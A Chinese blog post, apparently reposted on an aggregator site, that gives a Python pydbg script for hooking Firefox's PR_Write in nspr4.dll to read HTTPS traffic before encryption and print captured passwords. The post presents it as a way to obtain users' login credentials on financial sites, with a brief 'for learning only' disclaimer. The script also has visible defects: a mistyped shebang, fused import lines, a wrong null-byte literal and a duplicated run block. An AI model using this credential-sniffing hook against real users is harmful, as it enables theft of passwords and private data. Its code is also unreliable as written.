python利用hook技术破解https的实例代码


Posted in Python onMarch 25, 2013

相对于http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到“大米”的网站,采用的都是http是协议,嘿嘿,即便这样,还是有办法能看到他的用户名和密码的,嘿嘿,本文只是用于技术学习,只是和大家交流技术,希望不要用于做违法的事情,这个例子是在firefox浏览器下登录https协议的网站,我们预先打开程序,就来了个捕获用户名和密码:

下面是源代码:

#!/ur/bin/env python     
from pydbg import *
from pydbg.defines import *import utils     
import sys     
dbg = pydbg()     
found_firefox = False
pattern = "password"
          
def ssl_sniff( dbg, args ):     
    buffer = ""     
    offset = 0
    while 1:     
        byte = dbg.read_process_memory( args[1] + offset, 1 )     
        if byte != "x00":     
            buffer += byte     
            offset += 1
            continue
        else:     
            break
    if pattern in buffer:     
        print "Pre-Encrypted: %s" % buffer
    return DBG_CONTINUE     
# 寻找firefox.exe的进程     
for (pid, name) in dbg.enumerate_processes():     
    if name.lower() == "firefox.exe":     
        found_firefox = True
        hooks = utils.hook_container()     
        dbg.attach(pid)     
        print "[*] Attaching to firefox.exe with PID: %d" % pid     
# 得到firefox的hook的 address     
        hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write")     
        if hook_address:     
# 添加hook的内容,包括他的pid,地址,嗅探类型    
            hooks.add( dbg, hook_address, 2, ssl_sniff, None )     
            print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address     
            break
        else:     
            print "[*] Error: Couldn't resolve hook address."
            sys.exit(-1)     
        if found_firefox:     
            print "[*] Hooks set, continuing process."
            dbg.run()     
        else:     
                print "[*] Error: Couldn't find the firefox.exe process."
                sys.exit(-1)     
if found_firefox:     
    print "[*] Hooks set, continuing process."
    dbg.run()     
else:     
    print "[*] Error: Couldn't find the firefox.exe process."
    sys.exit(-1)

转自:http://world77.blog.51cto.com/414605/518679

Python 相关文章推荐
Python 自动刷博客浏览量实例代码
Jun 14 Python
Django如何实现内容缓存示例详解
Sep 24 Python
Python操作MySQL数据库的三种方法总结
Jan 30 Python
python os用法总结
Jun 08 Python
pandas进行数据的交集与并集方式的数据合并方法
Jun 27 Python
详解Python下Flask-ApScheduler快速指南
Nov 04 Python
python实现创建新列表和新字典,并使元素及键值对全部变成小写
Jan 15 Python
python实现微信自动回复机器人功能
Jul 11 Python
python异常处理try except过程解析
Feb 03 Python
Python如何在DataFrame增加数值
Feb 14 Python
Python 解决空列表.append() 输出为None的问题
May 23 Python
详解Python内置模块Collections
Mar 22 Python
利用python获得时间的实例说明
Mar 25 #Python
python 将字符串转换成字典dict
Mar 24 #Python
使用python提取html文件中的特定数据的实现代码
Mar 24 #Python
python 切片和range()用法说明
Mar 24 #Python
python list中append()与extend()用法分享
Mar 24 #Python
python del()函数用法
Mar 24 #Python
python dict remove数组删除(del,pop)
Mar 24 #Python
You might like
用mysql触发器自动更新memcache的实现代码
2009/10/11 PHP
XHProf报告字段含义的解析
2016/05/17 PHP
PHP获取数组中指定的一列实例
2017/12/27 PHP
Yii框架视图、视图布局、视图数据块操作示例
2019/10/14 PHP
CentOS7系统搭建LAMP及更新PHP版本操作详解
2020/03/26 PHP
基于PHP实现用户登录注册功能的详细教程
2020/08/04 PHP
将input file的选择的文件清空的两种解决方案
2013/10/21 Javascript
javascripit实现密码强度检测代码分享
2013/12/12 Javascript
javascript几个易错点记录
2014/11/26 Javascript
使用 TypeScript 重新编写的 JavaScript 坦克大战游戏代码
2015/04/07 Javascript
详细解读JavaScript的跨浏览器事件处理
2015/08/12 Javascript
EasyUI Pagination 分页的两种做法小结
2016/07/09 Javascript
JS简单实现仿百度控制台输出信息效果
2016/09/04 Javascript
smartupload实现文件上传时获取表单数据(推荐)
2016/12/12 Javascript
vue.js移动端tab组件的封装实践实例
2017/06/30 Javascript
微信小程序 image组件遇到的问题
2019/05/28 Javascript
在vue中封装的弹窗组件使用队列模式实现方法
2020/07/23 Javascript
JavaScript实现音乐导航效果
2020/11/19 Javascript
使用Python实现BT种子和磁力链接的相互转换
2015/11/09 Python
Pyspider中给爬虫伪造随机请求头的实例
2018/05/07 Python
Python Pywavelet 小波阈值实例
2019/01/09 Python
python登录WeChat 实现自动回复实例详解
2019/05/28 Python
Django框架创建mysql连接与使用示例
2019/07/29 Python
django中使用POST方法获取POST数据
2019/08/20 Python
flask的orm框架SQLAlchemy查询实现解析
2019/12/12 Python
pycharm工具连接mysql数据库失败问题
2020/04/01 Python
英国探险旅游专家:Explore
2018/12/20 全球购物
Mybag美国/加拿大:英国奢华包包和名牌手袋网站
2020/02/16 全球购物
护理专业学生的求职信范文
2013/12/11 职场文书
应届毕业生个人求职自荐信
2014/01/06 职场文书
工作说明书范文
2014/05/07 职场文书
小学毕业典礼演讲稿
2014/09/09 职场文书
2014领导班子正风肃纪思想汇报
2014/09/18 职场文书
2015年药房工作总结
2015/04/25 职场文书
创业计划书之干洗店
2019/09/10 职场文书
Java 通过手写分布式雪花SnowFlake生成ID方法详解
2022/04/07 Java/Android